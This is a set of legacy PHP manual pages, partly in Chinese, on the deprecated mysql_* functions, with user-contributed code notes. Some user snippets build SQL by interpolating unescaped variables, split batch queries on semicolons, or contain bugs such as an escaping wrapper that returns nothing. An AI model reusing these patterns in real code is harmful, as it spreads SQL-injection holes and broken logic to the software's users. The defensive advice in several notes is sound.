$result = mysql_list_tables($mdb_name);
while ($row = mysql_fetch_row($result))
   {
   $getdata=mysql_query("SELECT * FROM $row[0]");
   while ($row1=mysql_fetch_array($getdata))
       {
       $thesql.="INSERT INTO `$row[0]` VALUES (";
       $getcols = mysql_list_fields($mdb_name,$row[0],$link);
           for($c=0;$c<mysql_num_fields($getcols);$c++)
               {
               if (strstr(mysql_field_type($getdata,$c),'blob')) $row1[$c]=bin2hex($row1[$c]);
               //Binary null fix if ever needed
               if ($row1[$c]=="0x") $row1[$c]="0x1";

               //delimit the apostrophies for mysql compatability
               $row1[$c]=str_replace("'","''",$row1[$c]);
               if (strstr(mysql_field_type($getdata,$c),'blob'))
               $thesql.="0x$row1[$c]";
               else
               $thesql.="'$row1[$c]'";
               if ($c<mysql_num_fields($getcols)-1) $thesql.=",";
               }
           $thesql.=");;\n";
       }
   }
return $thesql;
}

Please note the sql statements are terminated with ;; not a ; this is so when you want to do a multiple query you can tokenise the sql string with a ;; which allows your data to contain a ;

If you want to run the multiple query then use this simple function which i wrote due to not being able to find a decent way of doing it

//$q is the query string ($thesql returned string)
//$link is the link to the database connection
//returns true or false depending on whether a single query is executed allows you to check to see if any queries were ran

function multiple_query($q,$link)
   {
   $tok = strtok($q, ";;\n");
   while ($tok)
       {
       $results=mysql_query("$tok",$link);
       $tok = strtok(";;\n");
       }
   return $results;
   }
mark @t ilisys dot c0m au
14-Jul-2004 12:05
The default mysql max_allowed_packet setting is in fact 16MB. The gotcha you can fall into is your text field type.
eg:
TEXT    Variable-length string up to 65,535 characters long.
MEDIUMTEXT    Variable-length string up to 16,777,215 characters long.
LONGTEXT    Variable-length string up to 4,294,967,295 characters long.
(corresponding sizes for blob, mediumblob, longblob)
samm at os2 dot ru
19-May-2004 05:15
Small correction to the klync post (18-Jan-2004 09:05)
instead

foreach ( explode(";", "$sql_query") as $sql_line) {

its better to use

foreach ( explode(";\n", "$sql_query") as $sql_line) {

to avoid errors on strings lines like:
INSERT INTO `cms_text` VALUES ('test; test');
Predrag Supurovic
01-Dec-2003 08:52
If you need to execute sevaral SQL commands in a row (usually called batcg SQL) using PHP you canot use mysql_query() since it can execute single command only.

Here is simple but effective function that can run batch SQL commands. Take cere, if string contains semicolon (;) anywhere except as command delimiter (within string expression for example) function will not work.

function mysql_exec_batch ($p_query, $p_transaction_safe = true) {
  if ($p_transaction_safe) {
     $p_query = 'START TRANSACTION;' . $p_query . '; COMMIT;';
   };
  $query_split = preg_split ("/[;]+/", $p_query);
  foreach ($query_split as $command_line) {
   $command_line = trim($command_line);
   if ($command_line != '') {
     $query_result = mysql_query($command_line);
     if ($query_result == 0) {
       break;
     };
   };
  };
  return $query_result;
}
chris at hotmail dot com
01-May-2003 09:28
Windows programmers, keep in mind that although table names in Windows queries are not case sensitive, many *NIX versions of Mysql require the correct table name case (perhaps others as well). So you're better off using the right case from the beginning, in case you ever decide to go with a *NIX server.
davidc at edeca dot net
20-Apr-2003 03:30
Regarding the idea for returning all possible values of an enum field, the mySQL manual says that "SHOW COLUMNS FROM table LIKE column" should be used to do this.

The function below (presumes db connection) will return an array of the possible values of an enum.

function GetEnumValues($Table,$Column)
   {
   $dbSQL = "SHOW COLUMNS FROM ".$Table." LIKE '".$Column."'";
   $dbQuery = mysql_query($dbSQL);

   $dbRow = mysql_fetch_assoc($dbQuery);
   $EnumValues = $dbRow["Type"];

   $EnumValues = substr($EnumValues, 6, strlen($EnumValues)-8);
   $EnumValues = str_replace("','",",",$EnumValues);

   return explode(",",$EnumValues);
   }

Cavaets:

1) If the LIKE matches more than one column you get the enum from the first, so be careful with the $Column argument
2) You can't have ',' as part of one of the enums (I guess mySQL would escape this, but I haven't tried)
3) If the field isn't an enum you'll get garbage back!

This is just a quick example to show how to do it, some tidying up needs to be done (ie checking if the field is actually an enum) before it is perfect.
09-Apr-2003 03:43
Until this function prohibits them, watch out for SQL comments (--) in your input.
allen a brooker gb net
28-Mar-2003 09:35
One way to reduce the dangers of queries like the dlete command above that dletes the whole DB is to use limits wherever possible.

EG. If you have a routine that is only deisnged to delete 1 record, add 'LIMIT 1' to the end of the command. This way you'll only lose one record if someone does something stupid.

You should also check all input, especially if it is sent using GET. ie. make sure that $_GET['id'] is not NULL or == "", is a number that is positive, not 0 (generally, I know this doesn't apply to some table types, but it applies to the default) and is within the valid range for that field.

Just don't trust ANY data that is sent to your script.

HTH
Allen
antony%40terian%2Eco%2Euk
27-Mar-2003 11:50
A useful URL for queries to search for duplicate records is: http://www.onlamp.com/pub/a/onlamp/excerpt/mysqlckbk/index1.html?page=last
php at mereck dot net
20-Jan-2003 12:59
phpinfo at t-online dot de,

good point about the security hole potential in multple query handling. I just wanted to say that in some cases its a good idea to use multiple queries for performance issues. For example, according to http://www.mysql.com/doc/en/Insert_speed.html :

"If you are inserting many rows from the same client at the same time, use multiple value lists INSERT statements. This is much faster (many times in some cases) than using separate INSERT statements."
claude_minette at hotmail dot com
18-Nov-2002 08:15
I nedded to have a select box containing the fields of an ENUM in a MySQL table.

Use this if you need it too. it may be useful. Be sure to be connected and use $table to choose the table you want to describe.

$table="Ma_table"
$describe=mysql_query("describe $table");
while ($ligne=mysql_fetch_array($describe)){
   extract($ligne);
   if (substr($Type,0,4)=='enum'){
       echo $Type;
       $liste=substr($Type,5,strlen($Type));
       $liste=substr($liste,0,(strlen($liste)-2));
       $enums=explode(',',$liste);
       if (sizeof($enums)>0){
           echo "<select name='enum'>\n";
           for ($i=0; $i<sizeof($enums);$i++){
               $elem=strtr($enums[$i],"'"," ");
               echo "<option value='".$elem."'>".$elem."</option>\n";
           }
           echo "</select>";
       }
   }
}

Hope it will help...
Some improvements can bee done, if you do, please mail me the improvements you've done...

Min's
acloutier at agricom dot ca
17-Nov-2001 07:03
You can put multiple query with PHP && MySQL:

//initialise MySQL users variables
mysql_query("select @a:=0,@b:=0");

//select values of variables
mysql_query("select @a:=sum(rate), @b:=count(*) from ratetable where rated_user_id='$id'");

//finally, select for result
$rate_id_select=mysql_query("select @c:=round(@a/@b) as effective_rate");

//..and result $rate_user=mysql_result($rate_id_select,0,"effective_rate");

...

echo $rate_user;

Alain Cloutier
webmaster@saguenay.cc
nikhil-php at nols dot com
02-Jan-2000 04:38
When trying to INSERT or UPDATE and trying to put a large amount of text or data (blob) into a mysql table you might run into problems.

In mysql.err you might see:
Packet too large (73904)

To fix you just have to start up mysql with the option -O max_allowed_packet=maxsize

You would just replace maxsize with the max size you want to insert, the default is 65536
add a note add a note

后退 | 起点 | 前进
mysql_ping | 上一级 | mysql_real_escape_string


mysql_real_escape_string

(PHP 4 >= 4.3.0, PHP 5)

mysql_real_escape_string -- 转义 SQL 语句中使用的字符串中的特殊字符，并考虑到连接的当前字符集

说明

string mysql_real_escape_string ( string unescaped_string [, resource link_identifier] )

本函数将 unescaped_string 中的特殊字符转义，并计及连接的当前字符集，因此可以安全用于 mysql_query()。

注: mysql_real_escape_string() 并不转义 % 和 _。

例子 1. mysql_real_escape_string() 例子

<?php
$item = "Zak's and Derick's Laptop";
$escaped_item = mysql_real_escape_string($item);
printf ("Escaped string: %s\n", $escaped_item);
?>

以上例子将产生如下输出：

Escaped string: Zak\'s and Derick\'s Laptop

参见 mysql_escape_string() 和 mysql_character_set_name()。

add a note add a note User Contributed Notes
nicolas
31-May-2006 04:38
Note that mysql_real_escape_string doesn't prepend backslashes to \x00, \n, \r, and and \x1a as mentionned in the documentation, but actually replaces the character with a MySQL acceptable representation for queries (e.g. \n is replaced with the '\n' litteral). (\, ', and " are escaped as documented) This doesn't change how you should use this function, but I think it's good to know.
Aidan Kehoe <php-manual at parhasard dot net>
20-Apr-2006 05:52
eric256 at gmail dot com: the PEAR DB API provides exactly that. See http://pear.php.net/manual/en/package.database.db.intro-query.php
eric256 at gmail dot com
09-Apr-2006 11:27
Hey,
Since SQL injection is such a fear it is beyond me as to why this hasn't been included yet.  I set this function up to take a query with ?'s in it and replace those with the correctly quoted values.  I don't do the "smart quoteing" i quote it in the SQL because i like to see the quotes there.

<?php
function db_query($query) {
  $args  = func_get_args();
  $query = array_shift($args);
  $query = str_replace("?", "%s", $query);
  $args  = array_map('mysql_real_escape_string', $args);
  array_unshift($args,$query);
  $query = call_user_func_array('sprintf',$args);
  $result = mysql_query($query) or die('Query failed: ' . mysql_error());
  return $result;
}
?>

call it like

<?php
$results = db_query("SELECT * FROM users WHERE username='?' AND password = PASSWORD('?');", $username,$password);
?>
This automagicaly quotes them and executes the query for you and also dies if there is an error in the query.
php at iain dot nl
14-Mar-2006 10:45
@ keith dot lawrence at jpmh dot co dot uk:

But an empty string is not per defenition NULL... usually you look for NULLable columns in your database on special occasions, so I think it's best to keep that apart...
keith dot lawrence at jpmh dot co dot uk
13-Mar-2006 07:23
Here's my version, this replaces empty strings with NULLs instead of using a quoted empty string which was causing a sql error when adding empty values to an integer column which allows nulls. Your mileage may vary.

<?php
function quote_smart($value)    {
   if (get_magic_quotes_gpc()) $value = stripslashes($value);
   if($value == '') $value = 'NULL';
   else if (!is_numeric($value) || $value[0] == '0') $value = "'" . mysql_real_escape_string($value) . "'"; //Quote if not integer
   return $value;
}
?>
php at iain dot nl
12-Mar-2006 05:59
It's quite easy to stop the problem of 0666 returning as 666 in the example of quote_smart. Look at this:

<?php
// Quote variable to make safe
function quote_smart($value) {
   // Stripslashes
   if (get_magic_quotes_gpc()) {
       $value = stripslashes($value);
   }
   // Quote if not integer
   if (!is_numeric($value) || $value[0] == '0') {
       $value = "'" . mysql_real_escape_string($value) . "'";
   }
   return $value;
}
?>

It now checks if there is a leading zero, and then it should be treated als a text, instead as a numerical value. Just an easy workaround.
huuanito at hotmail dot com
28-Feb-2006 03:36
just tried on php 4.4.2  the quote_smart example works just fine with 0666 it comes back as 0666 and 00 comes back as 00.  a single 0 gets lost however but I don't see that as a problem, unless of course you want that as your password. quote_smart works for me.
cedric over blog com
07-Feb-2006 12:20
as already said :
the example is wrong !
If your password is 0666 quote_smart will return : 666
23-Jan-2006 11:03
Here's why pmioni is wrong:

http://shiflett.org/archive/184
matthew at exanimo dot com
13-Aug-2005 10:34
Note that to use quote_smart(), you have to connect to the database via mysql_connect().  Otherwise, mysql_real_escape_string() will have no way of knowing what database you want to use.

If you want to use the OO approach or mysqli_connect(), you're going to have to rewrite quote_smart() to accept a MySQL connection, which it would then pass to mysql_real_escape_string().

This is a pretty lackluster solution, though, for anyone concerned with abstraction.
david
07-Apr-2005 11:25
The problem with this function returning an empty string instead of an escaped string seems to be related to the mysql lib versions installed on the server. On 3 servers, each with php 4.3.10, I had no problems on 2 of them, but got the empty string on the 3rd. The 2 that worked had versions 4.1.x and 4.0.x of mysql. The 3rd that did not work had 3.23.x

The failure also only occurred when I did not have a mysql connection set up before running the escape function. If I did DB::connect (using the PEAR DB object) before running the function, it worked, even if I didn't pass in the connection id. If I ran the function before DB::connect, then I got an empty string.

So, if you are getting an empty string, check your mysql lib version and check where you are connecting to the db in relation to calling the escape function in your code.
S. W.
11-Feb-2005 02:48
For a "best practices" approach to handling user input, one should always include enforcement of input length limitations.  This will avoid potential attacks based on *very* large values being inserted, some of which may not be foiled just by escaping a string.  (Length limits imposed via your form may be bypassed by submitting from a page or tool created by the attacker.)  As a cursory example:

<?php
$maxNameLen = 25;
$limitedName = substr($_POST['username'],0,$maxNameLen);
$safeUsername = mysql_real_escape_string($limitedName);
?>

Note that you'll need to take care to truncate the correct (raw) value and not something that has already been processed.  Otherwise, you're exposing the potential attack data to more potential points of failure, plus valid input may grow in length with escape processing and be incorrectly truncated.
boris-pieper AT t-online DOT de
22-Jan-2005 06:36
well, smth like that

<?php

function escape_string ($string,$dbcon=false) {
   if(version_compare(phpversion(),"4.3.0")=="-1") {
     mysql_escape_string($string);
   } elseif ($dbcon) {
     mysql_real_escape_string($string,$dbcon);
   } else { return false; }
}

?>
manderson at dsrglobal dot com
16-Jan-2005 01:36
The quote_smart() function in the "Best Practice" section does not quote any value which is all numeric. This will drop all zero's from the the lefthand side of a string. While this is intended to simplify the query string when storing numeric values this has a negative effect when trying to store strings which just so happen to be all digits. For instance some zip codes have one or more zero's on the lefthand side, and an MD5 hash may contain all numeric characters and the lefthand characters can be zero's. In these cases the lefthand zero's will be dropped.

I would simply drop the is_numeric() check. There's no reason to not quote numeric values.

<?php

// bad query created using the quote_smart() function
$qs = "UPDATE tbl SET zipcode=" . quote_smart('01234');
// UPDATE tbl SET zipcode=1234

// acceptable query created after dropping the is_numeric() check
$qs = "UPDATE tbl SET number=" . quote_smart('01234');
// UPDATE tbl SET number='01234'

?>
ludvig dot ericson at gmail dot com
01-Jan-2005 10:18
A case where you do not need to escape is when you are about to compare the UI (User Input) with a database through MD5 hashes, infact if you do, the password stored in the database will not match the one in the request.
I had a living  hell trying to solve this in my earlier days, so I just wanted to enligthen any other newbies,

<?php
$try_pass=md5($_POST['u_pass']);
?>

is sufficient escaping.

Cheers
add a note add a note

后退 | 起点 | 前进
mysql_query | 上一级 | mysql_result


mysql_result

(PHP 3, PHP 4, PHP 5)

mysql_result -- 取得结果数据

说明

mixed mysql_result ( resource result, int row [, mixed field] )

mysql_result() 返回 MySQL 结果集中一个单元的内容。字段参数可以是字段的偏移量或者字段名，或者是字段表点字段名（tablename.fieldname）。如果给列起了别名（'select foo as bar from...'），则用别名替代列名。

当作用于很大的结果集时，应该考虑使用能够取得整行的函数（在下边指出）。这些函数在一次函数调用中返回了多个单元的内容，比 mysql_result() 快得多。此外注意在字段参数中指定数字偏移量比指定字段名或者 tablename.fieldname 要快得多。

调用 mysql_result() 不能和其它处理结果集的函数混合调用。

例子 1. mysql_result() 例子

<?php
    $link = mysql_connect("localhost", "mysql_user", "mysql_password")
            or die("Could not connect: " . mysql_error());

    $result = mysql_query("SELECT name FROM work.employee")
            or die("Could not query: . mysql_error());

    echo mysql_result($result,2); // outputs third employee's name

    mysql_close($link);
?>

推荐使用高性能的替代函数：mysql_fetch_row()，mysql_fetch_array()，mysql_fetch_assoc() 和 mysql_fetch_object()。

add a note add a note User Contributed Notes
raz0 at NOSPAM dot worldonline dot dk
24-Aug-2003 01:42
If you want to fetch the result from a mysql query similar to one of these two queries...

$query = mysql_query("SELECT COUNT(*) FROM table");
$query = mysql_query("SELECT LAST_INSERT_ID()");

... you would use mysql_result() like shown below to retrieve the output as an int.

$result = mysql_result($query, 0, 0);
add a note add a note

后退 | 起点 | 前进
mysql_real_escape_string | 上一级 | mysql_select_db


mysql_select_db

(PHP 3, PHP 4, PHP 5)

mysql_select_db -- 选择 MySQL 数据库

说明

bool mysql_select_db ( string database_name [, resource link_identifier] )

如果成功则返回 TRUE，失败则返回 FALSE。

mysql_select_db() 设定与指定的连接标识符所关联的服务器上的当前激活数据库。如果没有指定连接标识符，则使用上一个打开的连接。如果没有打开的连接，本函数将无参数调用 mysql_connect() 来尝试打开一个并使用之。

每个其后的 mysql_query() 调用都会作用于活动数据库。

例子 1. mysql_select_db() 例子

<?php

$lnk = mysql_connect('localhost', 'mysql_user', 'mysql_password')
       or die ('Not connected : ' . mysql_error());

// make foo the current db
mysql_select_db('foo', $lnk) or die ('Can\'t use foo : ' . mysql_error());

?>

参见 mysql_connect()，mysql_pconnect() 和 mysql_query()。

为向下兼容仍然可以使用 mysql_selectdb()，但反对这样做。

add a note add a note User Contributed Notes
matsko at rogers dot com
11-May-2006 03:19
Just incase the mysql_select_db() function still won't work with multiple database connections (as has happened to me before).

$dbh1 = mysql_pconnect($host,$user,$pass);
$dbh2 = mysql_pconnect($host,$user,$pass);

You could do this...

mysql_query("USE database1",$dbh1);
mysql_query("Use database2",$dbh2);

This does the same thing as the mysql_select_db() function...

or this...

You don't even have to select the database for each connection.

mysql_query("SELECT * FROM database1.table",$dbh1);
mysql_query("SELECT * FROM database2.table",$dbh2);
Maarten
19-Aug-2005 08:09
Previously posted comments about opening connections if the same parameters to mysql_connect() are used can be avoided by using the 'new_link' parameter to that function.

This parameter has been available since PHP 4.2.0 and allows you to open a new link even if the call uses the same parameters.
buzz at oska dot com
06-May-2005 08:39
As has been already commented, opening multiple connection handles with:
<?php
$connection_handle =  mysql_connect($hostname_and_port,$user,$password);
?>
causes the connection ID/handle to be REUSED if the exact same parameters are passed in to it.  This can be annoying if you want to work with multiple databases on the same server, but don't want to (a) use the database.table syntax in all your queries or (b) call the mysql_select_db($database) before every SQL query just to be sure which database you are working with.
My solution is to create a handle for each database with mysql_connect (using ever so slightly different connection properties), and assign each of them to their own database permanently.  each time I do a mysql_query(...) call, I just include the connection handle that I want to do this call on eg (ive left out all error checking for simplicity sake):
<?php
// none of thesehandles are re-used as the connection parameters are different on them all, despite connecting to the same server (assuming 'myuser' and 'otheruser' have the same privileges/accesses in mysql)
$handle_db1 = mysql_connect("localhost","myuser","apasswd");
$handle_db2 = mysql_connect("127.0.0.1","myuser","apasswd");
$handle_db3 = mysql_connect("localhost:3306","myuser","apasswd");
$handle_db4 = mysql_connect("localhost","otheruser","apasswd");

// give each handle it's own database to work with, permanently.
mysql_select_db("db1",$handle_db1);
mysql_select_db("db2",$handle_db2);
mysql_select_db("db3",$handle_db3);
mysql_select_db("db4",$handle_db4);

//do a query from db1:
$query = "select * from test"; $which = $handle_db1;
mysql_query($query,$which);

//do a query from db2 :
$query = "select * from test"; $which = $handle_db2;
mysql_query($query,$which);

//etc
?>

Note that we didn't do a mysql_select_db between queries , and we didn't use the database name in the query either.

Of course, it has the overhead of setting up an extra connection.... but you may find this is preferable in some cases...
Dan Ross
13-Feb-2004 05:43
Another way to select from 2 different databases on the same server:

mysql_select_db("db1");

$res_db1 = mysql_query("select * from db1.foobar");
$res_db2 = mysql_query("select * from db2.foobar");

I.e. just prepend database name.
james at gogo dot co dot nz
17-Jan-2004 08:45
Be carefull if you are using two databases on the same server at the same time.  By default mysql_connect returns the same connection ID for multiple calls with the same server parameters, which means if you do

<?php
  $db1 = mysql_connect(...stuff...);
  $db2 = mysql_connect(...stuff...);
  mysql_select_db('db1', $db1);
  mysql_select_db('db2', $db2);
?>

then $db1 will actually have selected the database 'db2', because the second call to mysql_connect just returned the already opened connection ID !

You have two options here, eiher you have to call mysql_select_db before each query you do, or if you're using php4.2+ there is a parameter to mysql_connect to force the creation of a new link.
doug at xamo dot com
18-Dec-2003 04:39
When you need to query data from multiple databases, note that mysql_select_db("db2")  doesn't prevent you from fetching more rows with result sets returned from "db1".

mysql_select_db("db1");

$res_db1=mysql_query("select * from foobar");

myqsl_select_db("db2);

$row_db1=mysql_fetch_object($res_db1);

$res_db2=mysql_query("select * from test where id='$row_db1->id'");
add a note add a note

后退 | 起点 | 前进
mysql_result | 上一级 | mysql_stat


mysql_stat

(PHP 4 >= 4.3.0, PHP 5)

mysql_stat -- 取得当前系统状态

说明

string mysql_stat ( [resource link_identifier] )

mysql_stat() 返回当前服务器状态。

注: mysql_stat() 目前只返回 uptime，threads，queries，open tables，flush tables 和 queries per second。要得到其它状态变量的完整列表，只能使用 SQL 命令 SHOW STATUS。

例子 1. mysql_stat() 例子

<?php
$link = mysql_connect('localhost', "mysql_user", "mysql_password");
$status = explode('  ', mysql_stat($link));
print_r($status);
?>

以上例子将产生如下输出：

Array
(
    [0] => Uptime: 5380
    [1] => Threads: 2
    [2] => Questions: 1321299
    [3] => Slow queries: 0
    [4] => Opens: 26
    [5] => Flush tables: 1
    [6] => Open tables: 17
    [7] => Queries per second avg: 245.595
)

add a note add a note User Contributed Notes
09-Feb-2005 10:16
if you need the complete status as outputted by the "show status" command. Try this function.
<?
function mysql_status($db=NULL) {
if(!mysql_ping($db))
$db=mysql_connect("localhost","user","password");
$res=mysql_query("show status",$db);
while (list($key,$value)=mysql_fetch_array($res))
$sql[$key]=$value;
return $sql;
}
?>
add a note add a note

后退 | 起点 | 前进
mysql_select_db | 上一级 | mysql_tablename


mysql_tablename

(PHP 3, PHP 4, PHP 5)

mysql_tablename -- 取得表名

说明

string mysql_tablename ( resource result, int i )

mysql_tablename() 接受 mysql_list_tables() 返回的结果指针以及一个整数索引作为参数并返回表名。可以用 mysql_num_rows() 函数来判断结果指针中的表的数目。用 mysql_tablename() 函数来遍历此结果指针，或者任何处理结果表的函数，例如 mysql_fetch_array()。

例子 1. mysql_tablename() 例子

<?php
    mysql_connect("localhost", "mysql_user", "mysql_password");
    $result = mysql_list_tables("mydb");

    for ($i = 0; $i < mysql_num_rows($result); $i++)
        printf ("Table: %s\n", mysql_tablename($result, $i));

    mysql_free_result($result);
?>

参见 mysql_list_tables()。

add a note add a note User Contributed Notes
Haseldow
23-Apr-2004 08:00
Another way to check if a table exists:

if(mysql_num_rows(mysql_query("SHOW TABLES LIKE '".$table."'"))==1) echo "Table exists";
else echo "Table does not exist";
pl at thinkmetrics dot com
18-Dec-2003 12:00
A simple function to check for the existance of a table:

function TableExists($tablename, $db) {

   // Get a list of tables contained within the database.
   $result = mysql_list_tables($db);
   $rcount = mysql_num_rows($result);

   // Check each in list for a match.
   for ($i=0;$i<$rcount;$i++) {
       if (mysql_tablename($result, $i)==$tablename) return true;
   }
   return false;
}
add a note add a note

后退 | 起点 | 前进
mysql_stat | 上一级 | mysql_thread_id


mysql_thread_id

(PHP 4 >= 4.3.0, PHP 5)

mysql_thread_id -- 返回当前线程的 ID

说明

int mysql_thread_id ( [resource link_identifier] )

mysql_thread_id() 返回当前线程的 ID。如果连接丢失了并用 mysql_ping() 重新连接上，线程 ID 会改变。这意味着不能取得线程的 ID 后保存起来备用。当需要的时候再去获取之。

例子 1. mysql_thread_id() 例子

<?php
$link = mysql_connect('localhost', 'mysql_user', 'mysql_password');
$thread_id = mysql_thread_id($link);
if ($thread_id){
    printf ("current thread id is %d\n", $thread_id);
}
?>

以上例子将产生如下输出：

current thread id is 73

参见 mysql_ping() 和 mysql_list_processes()。

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_tablename | 上一级 | mysql_unbuffered_query


mysql_unbuffered_query

(PHP 4 >= 4.0.6, PHP 5)

mysql_unbuffered_query -- 向 MySQL 发送一条 SQL 查询，并不获取和缓存结果的行

说明

resource mysql_unbuffered_query ( string query [, resource link_identifier] )

mysql_unbuffered_query() 向 MySQL 发送一条 SQL 查询 query，但不像 mysql_query() 那样自动获取并缓存结果集。一方面，这在处理很大的结果集时会节省可观的内存。另一方面，可以在获取第一行后立即对结果集进行操作，而不用等到整个 SQL 语句都执行完毕。当使用多个数据库连接时，必须指定可选参数 link_identifier。

注: mysql_unbuffered_query() 的好处是有代价的：在 mysql_unbuffered_query() 返回的结果集之上不能使用 mysql_num_rows() 和 mysql_data_seek()。此外在向 MySQL 发送一条新的 SQL 查询之前，必须提取掉所有未缓存的 SQL 查询所产生的结果行。

参见 mysql_query()。

add a note add a note User Contributed Notes
silvanojr at gmail dot com
13-May-2006 05:02
Note:  The benefits of mysql_unbuffered_query() come at a cost: You cannot use mysql_num_rows() and...

but it looks like you can use SQL_CALC_ROWS on MySQL to get the total rows without the limit.
andre dot steffens at adress-research dot de
08-Oct-2004 09:18
If you use mysql_ping() to check the connection, the resultset from mysql_unbuffered_query() will be kill.
steve_stockman at mac dot symantec dot com
02-Apr-2004 06:19
If you are going to do a large query, but are concerned about blocking access to the table during an unbuffered query, why not go through a temporary table? (Of course, this is predicated on the current user having permission to create tables.)

$dbQuery = "SELECT something ...";
if (mysql_query ("CREATE TEMPORARY TABLE MyQuery $dbQuery")) {
   $numRows = mysql_affected_rows();
   if ($numRows == 0) {
       /* handle empty selection */
   } else {
       $result = mysql_unbuffered_query ('SELECT * FROM MyQuery');
       /* handle result */
   }
   mysql_query ('DROP TABLE MyQuery');
}
post at jfl dot dk
30-Nov-2003 09:57
If using optimized MyISAM tables I guess there is a big advantage with this function as it is possible to do selects and inserts on the same time as long as no rows in the table gets updated.
15-Jun-2003 01:35
The other hand should really be, that the table remains locked until all rows have been retrieved, right?  This is a very important thing to mention, you could tie up the whole database with a lock.
shaner at accretivetg dot com
22-May-2003 07:45
Regarding bailing on a really large result, while doing an unbuffered query, there _is_ a way to do this: kill the thread and exit your processing loop.  This, of course, requires having a separate database link.  Something like below does the trick:

// a db link for queries
$lh  = mysql_connect( 'server', 'uname', 'pword' );
// and a controller link
$clh = mysql_connect( 'server', 'uname', 'pword', true );

if ( mysql_select_db ( 'big_database', $lh ) )
{
  $began  =  time();
  $tout  = 60 * 5; // five minute limit
  $qry    = "SELECT * FROM my_bigass_table";
  $rh    = mysql_unbuffered_query( $qry, $lh );
  $thread = mysql_thread_id ( $lh );
  while ( $res = mysql_fetch_row( $rh ) )
  {
   /* do what you need to do
     * ...
     * ...
     */
   if ( ( time() - $began ) > $tout )
   {
     // this is taking too long
     mysql_query( "KILL $thread", $clh );
     break;
   }
  }
}
frappyjohn at dos2linux dot org
18-Feb-2003 02:21
Don't let the two hands confuse you, these are both advantages (they should really be on the same hand):

On the one hand, this saves a considerable amount of memory with SQL queries that produce large result sets.

On the other hand, you can start working on the result set immediately ...
david at php dot net
18-May-2002 12:25
You are absolutely required to retrieve all rows in the result set (option 'a' in the first comment). If you fail to do so, PHP will do so for you, and will emit a NOTICE warning you of the fact. From the MySQL API, "Furthermore, you must retrieve all the rows even if you determine in mid-retrieval that you've found the information you were looking for. ".

Also note that if you are using this function, you should be quick about processing the result set, or you will tie up the MySQL server (other threads will be unable to write to the tables you are reading from).

If you want to be able to 'abort' mid result-set or if you want to do lengthy processing on the results, you are misunderstanding the purpose of this function.

Also note that UPDATE queries etc return no result set, so this function is only useful for SELECT etc.
chabotc at reviewboard dot com
21-Aug-2001 05:21
Stefan,
unbuffered query sends a query to the server, and does not first download the results before sending them to the end-user (php in this case).

So what it means is that -normaly- you could do this:

$res1 = mysql_query("select some",$db_conn);
while ($row = mysql_fetch_row($res)) {
  $res2 = mysql_query("select some other",$db_conn);
  // do some other stuff
}

With an unbuffered query you could NOT do this, the result set from $res1 would be LOST on the second query.

However, it does not mean you -have- to fetch all rows ... just that the API does not save the result set in memory for you.

However, when using different db connections, it all works ofcource ...

For more information, please refer to the mysql manual, they have a lot of docs on query & unbuffered queries (the php api is just a basic wrapper around there native api's).
add a note add a note

后退 | 起点 | 前进
mysql_thread_id | 上一级 | MySQL Functions (PDO_MYSQL)


MySQL Functions (PDO_MYSQL)

PHP 手册
后退 前进

LXXXV. MySQL Functions (PDO_MYSQL)

简介

警告

本扩展模块是实验性的。本模块的行为，包括其函数的名称以及其它任何关于此模块的文档可能会在没有通知的情况下随 PHP 以后的发布而改变。使用本扩展模块风险自担。

PDO_MYSQL is a driver that implements the PHP Data Objects (PDO) interface to enable access from PHP to MySQL 3.x and 4.x databases.

目录
PDO_MYSQL DSN -- Connecting to MySQL databases

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
mysql_unbuffered_query | 上一级 | PDO_MYSQL DSN


PDO_MYSQL DSN

(no version information, might be only in CVS)

PDO_MYSQL DSN -- Connecting to MySQL databases

说明

The PDO_MYSQL Data Source Name (DSN) is composed of the following elements:

DSN prefix

The DSN prefix is mysql:.

host

The hostname on which the database server resides.

dbname

The name of the database.

范例

例子 1. PDO_MYSQL DSN examples

The following example shows a PDO_MYSQL DSN for connecting to MySQL databases:
mysql:host=localhost;dbname=testdb

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
MySQL Functions (PDO_MYSQL) | 上一级 | MySQL Improved Extension


MySQL Improved Extension

PHP 手册
后退 前进

LXXXVI. MySQL Improved Extension

简介

The mysqli extension allows you to access the functionality provided by MySQL 4.1 and above. More information about the MySQL Database server can be found at http://www.mysql.com/

Documentation for MySQL can be found at http://dev.mysql.com/doc/.

Parts of this documentation included from MySQL manual with permissions of MySQL AB.

需求

In order to have these functions available, you must compile PHP with support for the mysqli extension.

注: The mysqli extension is designed to work with the version 4.1.3 or above of MySQL. For previous versions, please see the MySQL extension documentation.

安装

To install the mysqli extension for PHP, use the --with-mysqli=mysql_config_path/mysql_config configuration option where mysql_config_path represents the location of the mysql_config program that comes with MySQL versions greater than 4.1.

If you would like to install the mysql extension along with the mysqli extension you have to use the same client library to avoid any conflicts.

运行时配置

这些函数的行为受 php.ini 的影响。

表格 1. MySQLi Configuration Options

Name | Default | Changeable | Changelog
mysqli.max_links | "-1" | PHP_INI_SYSTEM | Available since PHP 5.0.0.
mysqli.default_port | "3306" | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_socket | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_host | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_user | NULL | PHP_INI_ALL | Available since PHP 5.0.0.
mysqli.default_pw | NULL | PHP_INI_ALL | Available since PHP 5.0.0.

For further details and definitions of the above PHP_INI_* constants, see the chapter on configuration changes.

以下是配置选项的简要解释。

mysqli.max_links integer

The maximum number of MySQL connections per process.

mysqli.default_port string

The default TCP port number to use when connecting to the database server if no other port is specified. If no default is specified, the port will be obtained from the MYSQL_TCP_PORT environment variable, the mysql-tcp entry in /etc/services or the compile-time MYSQL_PORT constant, in that order. Win32 will only use the MYSQL_PORT constant.

mysqli.default_socket string

The default socket name to use when connecting to a local database server if no other socket name is specified.

mysqli.default_host string

The default server host to use when connecting to the database server if no other host is specified. Doesn't apply in safe mode.

mysqli.default_user string

The default user name to use when connecting to the database server if no other name is specified. Doesn't apply in safe mode.

mysqli.default_pw string

The default password to use when connecting to the database server if no other password is specified. Doesn't apply in safe mode.

预定义类

mysqli

Represents a connection between PHP and a MySQL database.

构造函数

  • mysqli - construct a new mysqli object

方法

  • autocommit - turns on or off auto-commiting database modifications

  • change_user - changes the user of the specified database connection

  • character_set_name - returns the default character set for the database connection

  • close - closes a previously opened connection

  • commit - commits the current transaction

